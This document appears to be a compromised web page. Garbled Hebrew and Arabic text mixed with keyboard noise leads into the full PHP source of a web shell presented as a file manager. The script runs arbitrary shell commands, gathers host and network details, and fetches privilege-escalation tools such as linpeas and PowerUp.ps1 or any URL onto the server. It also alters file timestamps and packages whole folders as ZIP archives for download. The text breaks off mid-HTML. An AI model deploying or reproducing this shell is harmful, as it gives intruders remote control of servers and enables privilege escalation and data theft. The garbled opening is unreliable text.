ב הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותشسdggרות הל555ה התafhgfh
במסgרות ה gh//شی הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותהתנדaghhhhו12ין יעל, המעציfghfghfע
/
www-data
/
newsitesimages
/
Upload FileeE
HOME
<?php // File Manager with CYSHELL-like Interface // Author: AI Generated // Password: Change the value below const FM_PASSWORD = 'changeme'; // CHANGE THIS PASSWORD // Polyfill for str_starts_with for PHP <8 if (!function_exists('str_starts_with')) { function str_starts_with($haystack, $needle) { return (string)$needle !== '' && strncmp($haystack, $needle, strlen($needle)) === 0; } } session_start(); ini_set('display_errors', '0'); error_reporting(0); function is_ajax() { return !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'; } function format_size($bytes) { if (!is_numeric($bytes) || $bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes, 1024)); return round($bytes / (1024 ** $i), 2) . ' ' . $units[$i]; } function format_perms($path) { $perms = @fileperms($path); if ($perms === false) return '??????????'; $info = is_dir($path) ? 'd' : '-'; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function handle_auth() { if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } if (isset($_SESSION['fm_logged'])) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === FM_PASSWORD) { $_SESSION['fm_logged'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } } display_login(); } function delete_dir_recursive($dir) { if (!is_dir($dir)) return false; $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { if (!delete_dir_recursive($path)) return false; } else { if (!unlink($path)) return false; } } return rmdir($dir); } function handle_ajax() { if (!is_ajax() || !isset($_SESSION['fm_logged'])) return; header('Content-Type: application/json'); $input = json_decode(file_get_contents('php://input'), true); $action = $input['action'] ?? ''; $payload = $input['payload'] ?? []; $response = ['status' => 'error', 'message' => 'Invalid action.']; try { switch ($action) { case 'list': $path = $payload['path'] ?? __DIR__; $full_path = realpath($path); if ($full_path === false || !is_dir($full_path)) throw new Exception('Invalid path.'); $files = []; foreach (scandir($full_path) as $item) { if ($item === '.') continue; $item_path = $full_path . DIRECTORY_SEPARATOR . $item; $files[] = [ 'name' => $item, 'path' => $item_path, 'type' => is_dir($item_path) ? 'dir' : 'file', 'size' => is_dir($item_path) ? '' : format_size(@filesize($item_path)), 'perms' => format_perms($item_path), 'mtime' => date('Y-m-d H:i:s', @filemtime($item_path)) ]; } usort($files, function($a, $b) { if ($a['name'] === '..') return -1; if ($b['name'] === '..') return 1; if ($a['type'] === $b['type']) { return strnatcasecmp($a['name'], $b['name']); } return ($a['type'] === 'dir') ? -1 : 1; }); $response = ['status' => 'success', 'data' => ['files' => $files, 'current_path' => $full_path]]; break; case 'get': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_readable($path)) throw new Exception('File not found or not readable.'); // Detect binary file (simple check) $mime = 'text/plain'; // default if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $path); finfo_close($finfo); } else { // Fallback: check file extension for common text files $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $text_extensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'csv', 'log', 'md', 'ini', 'conf', 'cfg', 'yml', 'yaml']; if (!in_array($ext, $text_extensions)) { // For files without extensions, check if they contain readable text $content = file_get_contents($path); if ($content !== false) { // Check if content is mostly printable ASCII characters $readable_chars = 0; $total_chars = strlen($content); for ($i = 0; $i < min($total_chars, 1000); $i++) { // Check first 1000 chars $char = ord($content[$i]); if ($char >= 32 && $char <= 126 || $char == 9 || $char == 10 || $char == 13) { $readable_chars++; } } $readable_ratio = $readable_chars / min($total_chars, 1000); if ($readable_ratio < 0.7) { // Less than 70% readable characters $mime = 'application/octet-stream'; // treat as binary } } } } if (strpos($mime, 'text/') === 0 || $mime === 'application/json' || $mime === 'application/xml') { $content = file_get_contents($path); $response = ['status' => 'success', 'data' => $content]; } else { $response = ['status' => 'success', 'data' => '[Preview not supported for binary file: ' . htmlspecialchars(basename($path)) . ']']; } break; case 'save': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_writable($path)) throw new Exception('File not found or not writable.'); if (file_put_contents($path, $payload['content'] ?? '') === false) throw new Exception('Failed to save file.'); $response = ['status' => 'success', 'data' => 'File saved.']; break; case 'delete': $path = $payload['path'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('Path not found.'); if (is_dir($path)) { $success = delete_dir_recursive($path); } else { $success = unlink($path); } if (!$success) throw new Exception('Failed to delete.'); $response = ['status' => 'success', 'data' => 'Deleted.']; break; case 'mkdir': $path = $payload['path'] ?? ''; if (empty($path) || file_exists($path)) throw new Exception('Already exists.'); if (!mkdir($path)) throw new Exception('Failed to create directory.'); $response = ['status' => 'success', 'data' => 'Directory created.']; break; case 'touch': $path = $payload['path'] ?? ''; if (empty($path) || file_exists($path)) throw new Exception('Already exists.'); if (!touch($path)) throw new Exception('Failed to create file.'); $response = ['status' => 'success', 'data' => 'File created.']; break; case 'rename': $from = $payload['from'] ?? ''; $to = $payload['to'] ?? ''; if (empty($from) || empty($to) || !file_exists($from)) throw new Exception('Invalid path.'); if (!rename($from, $to)) throw new Exception('Failed to rename.'); $response = ['status' => 'success', 'data' => 'Renamed.']; break; case 'upload': if (!isset($_FILES['file']) || !isset($_POST['path'])) throw new Exception('No file or path.'); // Validate upload directory $upload_dir = $_POST['path']; // Try multiple possible paths for the upload directory $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($upload_dir, '/') === 0 || strpos($upload_dir, '\\') === 0) { $possible_paths[] = $upload_dir; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $upload_dir; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $upload_dir; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $upload_dir; // 5. Try as absolute path without any modification $possible_paths[] = $upload_dir; $target_upload_dir = null; foreach ($possible_paths as $path) { if (is_dir($path) && is_writable($path)) { $target_upload_dir = $path; break; } } if (!$target_upload_dir) { throw new Exception('Upload directory is not writable or does not exist. Searched in: ' . implode(', ', $possible_paths)); } // Security check: ensure upload directory is within allowed path $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if upload directory is within allowed directories $upload_dir_real = realpath($target_upload_dir); $is_allowed = false; if ($upload_dir_real) { // Check if directory is within current directory, document root, or base directory if (strpos($upload_dir_real, $base) === 0 || strpos($upload_dir_real, realpath($doc_root)) === 0 || strpos($upload_dir_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if (!$is_allowed) { throw new Exception('Invalid upload directory. Directory must be within allowed paths.'); } $dest = rtrim($target_upload_dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // Check if destination file already exists and is writable if (file_exists($dest) && !is_writable($dest)) { throw new Exception('Destination file exists and is not writable.'); } if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { // Get more specific error information $error = error_get_last(); $error_msg = $error ? $error['message'] : 'Unknown error'; throw new Exception('Upload failed: ' . $error_msg); } $response = ['status' => 'success', 'data' => 'Uploaded.']; break; case 'exec': $cmd = $payload['command'] ?? ''; $dir = $payload['dir'] ?? ''; if (empty($cmd)) throw new Exception('No command.'); if (!function_exists('shell_exec')) throw new Exception('shell_exec is disabled.'); if (!empty($dir) && is_dir($dir)) @chdir($dir); $output = shell_exec($cmd . ' 2>&1'); $response = ['status' => 'success', 'data' => $output]; break; case 'system_info': $is_windows = str_starts_with(strtoupper(PHP_OS), 'WIN'); $info = []; $info['OS Family'] = $is_windows ? 'Windows' : 'Linux/Unix'; $info['Hostname'] = gethostname(); $info['Current User'] = function_exists('get_current_user') ? get_current_user() : 'N/A'; // General PHP/server info $info['PHP Version'] = phpversion(); $info['Loaded Extensions'] = implode(', ', get_loaded_extensions()); $info['Server Software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; $info['Document Root'] = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; $info['Script Filename'] = $_SERVER['SCRIPT_FILENAME'] ?? 'N/A'; $info['Upload Max Filesize'] = ini_get('upload_max_filesize'); $info['Post Max Size'] = ini_get('post_max_size'); $info['Memory Limit'] = ini_get('memory_limit'); $info['Max Execution Time'] = ini_get('max_execution_time'); if (function_exists('posix_getuid')) { $info['User/UID/GID'] = get_current_user() . ' / ' . posix_getuid() . ' / ' . posix_getgid(); } if ($is_windows) { $info['System Info'] = shell_exec('systeminfo 2>&1'); $info['Network Info'] = shell_exec('ipconfig /all 2>&1'); } else { $info['OS Release'] = file_exists('/etc/os-release') ? shell_exec('cat /etc/os-release 2>&1') : 'N/A'; $info['Kernel'] = shell_exec('uname -a 2>&1'); $netinfo = shell_exec('ip a 2>&1'); if (strpos($netinfo, 'command not found') !== false || trim($netinfo) === '') { $netinfo = shell_exec('ifconfig 2>&1'); if (strpos($netinfo, 'command not found') !== false || trim($netinfo) === '') { $netinfo = 'No network command (ip/ifconfig) available.'; } } $info['Network Info'] = $netinfo; } $response = ['status' => 'success', 'data' => $info]; break; case 'download_tool': $tool = $payload['tool'] ?? ''; $url = $payload['url'] ?? ''; $urls = [ 'linpeas' => 'https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh', 'winpeas' => 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat', 'powersploit' => 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1' ]; if ($tool === 'custom') { if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) throw new Exception('Invalid custom URL provided.'); $download_url = $url; $filename = basename(parse_url($url, PHP_URL_PATH)); } else { if (!isset($urls[$tool])) throw new Exception('Invalid tool selected.'); $download_url = $urls[$tool]; $filename = basename($download_url); } $temp_dir = sys_get_temp_dir(); if (!is_writable($temp_dir)) throw new Exception("Temp directory '{$temp_dir}' is not writable."); $save_path = $temp_dir . DIRECTORY_SEPARATOR . $filename; $content = @file_get_contents($download_url); if ($content === false) { // Try cURL fallback if (function_exists('curl_init')) { $ch = curl_init($download_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $content = curl_exec($ch); $curl_err = curl_error($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content === false || $http_code >= 400) { throw new Exception("Failed to download from {$download_url} via cURL: " . ($curl_err ?: "HTTP $http_code")); } } else { $err = error_get_last(); $msg = isset($err['message']) ? $err['message'] : ''; throw new Exception("Failed to download from {$download_url}" . ($msg ? ": $msg" : '')); } } if (file_put_contents($save_path, $content) === false) throw new Exception("Failed to save file to {$save_path}"); $response = ['status' => 'success', 'data' => "Successfully downloaded '{$filename}' to {$save_path}"]; break; case 'download_url_to_dir': $url = $payload['url'] ?? ''; $dir = $payload['dir'] ?? __DIR__; error_log('[FM] Download request: url=' . $url . ' dir=' . $dir); if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) throw new Exception('Invalid URL.'); $filename = basename(parse_url($url, PHP_URL_PATH)); if (!$filename) throw new Exception('Could not determine filename from URL.'); $save_path = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $filename; error_log('[FM] Save path: ' . $save_path); $content = @file_get_contents($url); if ($content === false) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $content = curl_exec($ch); $curl_err = curl_error($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); error_log('[FM] cURL error: ' . $curl_err . ' HTTP code: ' . $http_code); curl_close($ch); if ($content === false || $http_code >= 400) { throw new Exception("Failed to download from {$url} via cURL: " . ($curl_err ?: "HTTP $http_code")); } } else { $err = error_get_last(); $msg = isset($err['message']) ? $err['message'] : ''; error_log('[FM] file_get_contents error: ' . $msg); throw new Exception("Failed to download from {$url}" . ($msg ? ": $msg" : '')); } } if (file_put_contents($save_path, $content) === false) { error_log('[FM] file_put_contents failed: ' . $save_path); throw new Exception("Failed to save file to {$save_path}"); } $response = ['status' => 'success', 'data' => "Successfully downloaded '{$filename}' to {$save_path}"]; break; case 'download_file': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_readable($path)) throw new Exception('File not found or not readable.'); // Output file for download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($path)); readfile($path); exit; case 'chmod_file': $path = $payload['path'] ?? ''; $mode = $payload['mode'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('File or directory not found.'); if (!preg_match('/^[0-7]{3,4}$/', $mode)) throw new Exception('Invalid mode. Use octal like 755 or 0644.'); $oct = intval($mode, 8); if (!@chmod($path, $oct)) throw new Exception('Failed to change permissions.'); $response = ['status' => 'success', 'data' => 'Permissions updated.']; break; case 'touch_file': $path = $payload['path'] ?? ''; $timestamp = $payload['timestamp'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('File or directory not found.'); // Parse timestamp if (empty($timestamp)) { // Use current time if no timestamp provided $time = time(); } else { // Try to parse the timestamp $time = strtotime($timestamp); if ($time === false) { throw new Exception('Invalid timestamp format. Use YYYY-MM-DD HH:MM:SS or timestamp.'); } } // Try multiple possible paths for the file $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($path, '/') === 0 || strpos($path, '\\') === 0) { $possible_paths[] = $path; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $path; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $path; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $path; // 5. Try as absolute path without any modification $possible_paths[] = $path; $target_file = null; foreach ($possible_paths as $file_path) { if (file_exists($file_path)) { $target_file = $file_path; break; } } if (!$target_file) { throw new Exception('File not found. Searched in: ' . implode(', ', $possible_paths)); } // Security check: ensure file is within allowed directory $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if file is within allowed directories $file_real = realpath($target_file); $is_allowed = false; if ($file_real) { // Check if file is within current directory, document root, or base directory if (strpos($file_real, $base) === 0 || strpos($file_real, realpath($doc_root)) === 0 || strpos($file_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if (!$is_allowed) { throw new Exception('Invalid file path. File must be within allowed paths.'); } // Change file modification time if (!@touch($target_file, $time)) { throw new Exception('Failed to change file modification time.'); } $response = ['status' => 'success', 'data' => 'File modification time updated to ' . date('Y-m-d H:i:s', $time)]; break; } } catch (Throwable $e) { $response = ['status' => 'error', 'message' => $e->getMessage()]; } echo json_encode($response); exit; } function display_login() { ?> <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><script src="https://cdn.tailwindcss.com"></script><link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"><style>body { font-family: 'JetBrains Mono', monospace; }</style></head><body class="bg-gray-800 text-white flex items-center justify-center h-screen"><div class="bg-gray-900 p-8 rounded-lg shadow-lg w-full max-w-sm"><h1 class="text-2xl font-bold text-center mb-6">File Manager Login</h1><form action="<?= htmlspecialchars($_SERVER['PHP_SELF']) ?>" method="post"><div class="mb-4"><label for="password" class="block text-gray-400 mb-2">Password</label><input type="password" name="password" id="password" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500" required></div><button type="submit" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold py-3 px-4 rounded-lg transition duration-300">Login</button></form></div></body></html> <?php exit; } handle_auth(); if (is_ajax()) handle_ajax(); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { // Handle upload via FormData (no X-Requested-With header) header('Content-Type: application/json'); $response = ['status' => 'error', 'message' => 'Unknown error.']; try { // Check authentication if (!isset($_SESSION['fm_logged'])) { throw new Exception('Not authenticated.'); } if (!isset($_FILES['file']) || !isset($_POST['path'])) { throw new Exception('No file or path.'); } // Check PHP upload errors if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) { $err = [ UPLOAD_ERR_INI_SIZE => 'File too large (server limit).', UPLOAD_ERR_FORM_SIZE => 'File too large (form limit).', UPLOAD_ERR_PARTIAL => 'File only partially uploaded.', UPLOAD_ERR_NO_FILE => 'No file uploaded.', UPLOAD_ERR_NO_TMP_DIR => 'Missing temp folder.', UPLOAD_ERR_CANT_WRITE => 'Failed to write file.', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension.' ]; $msg = $err[$_FILES['file']['error']] ?? 'Unknown upload error.'; throw new Exception($msg); } // Validate upload directory $upload_dir = $_POST['path']; // Try multiple possible paths for the upload directory $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($upload_dir, '/') === 0 || strpos($upload_dir, '\\') === 0) { $possible_paths[] = $upload_dir; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $upload_dir; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $upload_dir; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $upload_dir; // 5. Try as absolute path without any modification $possible_paths[] = $upload_dir; $target_upload_dir = null; foreach ($possible_paths as $path) { if (is_dir($path) && is_writable($path)) { $target_upload_dir = $path; break; } } if (!$target_upload_dir) { throw new Exception('Upload directory is not writable or does not exist. Searched in: ' . implode(', ', $possible_paths)); } // Security check: ensure upload directory is within allowed path $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if upload directory is within allowed directories $upload_dir_real = realpath($target_upload_dir); $is_allowed = false; if ($upload_dir_real) { // Check if directory is within current directory, document root, or base directory if (strpos($upload_dir_real, $base) === 0 || strpos($upload_dir_real, realpath($doc_root)) === 0 || strpos($upload_dir_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if (!$is_allowed) { throw new Exception('Invalid upload directory. Directory must be within allowed paths.'); } $dest = rtrim($target_upload_dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // Check if destination file already exists and is writable if (file_exists($dest) && !is_writable($dest)) { throw new Exception('Destination file exists and is not writable.'); } if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { // Get more specific error information $error = error_get_last(); $error_msg = $error ? $error['message'] : 'Unknown error'; throw new Exception('Upload failed: ' . $error_msg); } $response = ['status' => 'success', 'data' => 'Uploaded.']; } catch (Throwable $e) { $response = ['status' => 'error', 'message' => $e->getMessage()]; } echo json_encode($response); exit; } // Direct download via GET param (secure, only for logged in) if (isset($_GET['download']) && isset($_SESSION['fm_logged'])) { $file_path = $_GET['download']; // Prevent path traversal if (strpos($file_path, '..') !== false) { http_response_code(403); echo 'Forbidden.'; exit; } // Try multiple possible paths for the file $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($file_path, '/') === 0 || strpos($file_path, '\\') === 0) { $possible_paths[] = $file_path; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $file_path; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $file_path; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $file_path; // 5. Try as filename in current directory $possible_paths[] = __DIR__ . '/' . basename($file_path); // 6. Try as absolute path without any modification $possible_paths[] = $file_path; $target = null; foreach ($possible_paths as $path) { if (is_file($path) && is_readable($path)) { $target = $path; break; } } // Security check: ensure file is within allowed directory $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if target is within allowed directories $target_real = realpath($target); $is_allowed = false; if ($target_real) { // Check if file is within current directory, document root, or base directory if (strpos($target_real, $base) === 0 || strpos($target_real, realpath($doc_root)) === 0 || strpos($target_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if ($target && $is_allowed && is_file($target) && is_readable($target)) { // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } else { http_response_code(404); echo 'File not found or not readable.' . "\n\n"; echo 'Original path: ' . $file_path . "\n\n"; echo 'Searched in:' . "\n"; foreach ($possible_paths as $path) { $exists = file_exists($path); $readable = is_readable($path); $status = $exists ? ($readable ? 'EXISTS & READABLE' : 'EXISTS BUT NOT READABLE') : 'NOT FOUND'; echo '- ' . $path . ' (' . $status . ')' . "\n"; } exit; } } // Handle folder download (must be before any HTML output) if (isset($_GET['download_folder']) && isset($_SESSION['fm_logged'])) { $folder = $_GET['download_folder']; // Prevent path traversal if (strpos($folder, '..') !== false) { http_response_code(403); echo 'Forbidden.'; exit; } // Try multiple possible paths for the folder $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($folder, '/') === 0 || strpos($folder, '\\') === 0) { $possible_paths[] = $folder; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $folder; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $folder; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $folder; // 5. Try common directories if ($folder === 'public_html' || $folder === 'www' || $folder === 'html') { $possible_paths[] = dirname($doc_root) . '/' . $folder; $possible_paths[] = dirname(dirname($doc_root)) . '/' . $folder; } // 6. Try as absolute path without any modification $possible_paths[] = $folder; $folder_path = null; foreach ($possible_paths as $path) { if (is_dir($path)) { $folder_path = $path; break; } } // Security check: ensure folder is within allowed directory $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if folder is within allowed directories $folder_real = realpath($folder_path); $is_allowed = false; if ($folder_real) { // Check if folder is within current directory, document root, or base directory if (strpos($folder_real, $base) === 0 || strpos($folder_real, realpath($doc_root)) === 0 || strpos($folder_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if ($folder_path && is_dir($folder_path) && $is_allowed) { // Create ZIP file $zip_filename = basename($folder_path) . '_' . date('Y-m-d_H-i-s') . '.zip'; $zip_path = sys_get_temp_dir() . '/' . $zip_filename; // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } // Try ZipArchive first if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { $file_path = $file->getRealPath(); if ($file_path === false) continue; $relative_path = substr($file_path, strlen($folder_path) + 1); if ($file->isDir()) { $zip->addEmptyDir($relative_path); } else { if (is_readable($file_path)) { $zip->addFile($file_path, $relative_path); } } } $zip->close(); if (file_exists($zip_path)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); readfile($zip_path); unlink($zip_path); exit; } } catch (Exception $e) { if (file_exists($zip_path)) { unlink($zip_path); } } } } // Fallback: try system commands if (function_exists('exec')) { $folder_path_escaped = escapeshellarg($folder_path); $zip_path_escaped = escapeshellarg($zip_path); // Try zip command $command = "zip -r $zip_path_escaped $folder_path_escaped"; exec($command, $output, $return_var); if ($return_var === 0 && file_exists($zip_path)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); readfile($zip_path); unlink($zip_path); exit; } } http_response_code(500); echo 'Failed to create ZIP archive.'; exit; } else { http_response_code(404); echo 'Folder not found!' . "\n\n"; echo 'Original path: ' . $folder . "\n\n"; echo 'Searched in:' . "\n"; foreach ($possible_paths as $path) { $exists = is_dir($path); $readable = is_readable($path); $status = $exists ? ($readable ? 'EXISTS & READABLE' : 'EXISTS BUT NOT READABLE') : 'NOT FOUND'; echo '- ' . $path . ' (' . $status . ')' . "\n"; } exit; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Manager</title> <script src="https://cdn.tailwindcss.com"></script> <script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/codemirror.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/codemirror.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/6.65.7/mode/meta.min.js"></script> <style>body{font-family:'JetBrains Mono',monospace;background-color:#111827;color:#d1d5db}[x-cloak]{display:none !important}.CodeMirror{height:100%;border-radius:.5rem} .CodeMirror { background-color: #111827 !important; color: #d1d5db !important; } .CodeMirror-cursor { border-left: 2px solid #fff !important; z-index: 10; } .editor-container { height: calc(100vh - 200px); min-height: 400px; overflow: hidden; } .editor-textarea { height: 100%; min-height: 400px; } .CodeMirror { height: 100% !important; } .CodeMirror-scrollbar-filler { background: #111827 !important; } .CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical div { background: #374151 !important; } </style> </head> <body class="bg-gray-900"> <div class="container mx-auto p-4" x-data="fm()" x-init="init()" x-cloak> <div class="grid grid-cols-1 xl:grid-cols-3 gap-6"> <main class="xl:col-span-2"> <header class="flex items-center mb-6"> <h1 class="text-3xl font-bold text-white"><i class="fa-solid fa-folder-tree mr-3"></i>File Manager</h1> </header> <div class="bg-gray-800 p-4 rounded-lg shadow-lg flex flex-col h-[85vh]"> <div class="flex border-b border-gray-700 mb-4"> <button @click="activeTab = 'explorer'" :class="{'bg-gray-700 text-white': activeTab === 'explorer', 'text-gray-400': activeTab !== 'explorer'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-folder-open mr-2"></i>Explorer</button> <button @click="activeTab = 'sysinfo'" :class="{'bg-gray-700 text-white': activeTab === 'sysinfo', 'text-gray-400': activeTab !== 'sysinfo'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-microchip mr-2"></i>System Info</button> <button @click="activeTab = 'privesc'" :class="{'bg-gray-700 text-white': activeTab === 'privesc', 'text-gray-400': activeTab !== 'privesc'}" class="py-2 px-4 font-semibold rounded-t-lg"><i class="fas fa-user-secret mr-2"></i>Privesc Tools</button> </div> <div x-show="activeTab === 'explorer'" class="flex flex-col flex-grow min-h-0"> <div class="flex mb-4 gap-2"> <input type="text" x-model="downloadUrl" placeholder="Download file from URL..." class="w-full max-w-xs p-2 bg-gray-700 border border-gray-600 rounded text-white" @keydown.enter="downloadFromUrl"> <button @click="downloadFromUrl" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-2 rounded font-bold">Download URL</button> <button @click="up()" class="bg-gray-700 hover:bg-gray-600 text-white px-3 py-2 rounded"><i class="fas 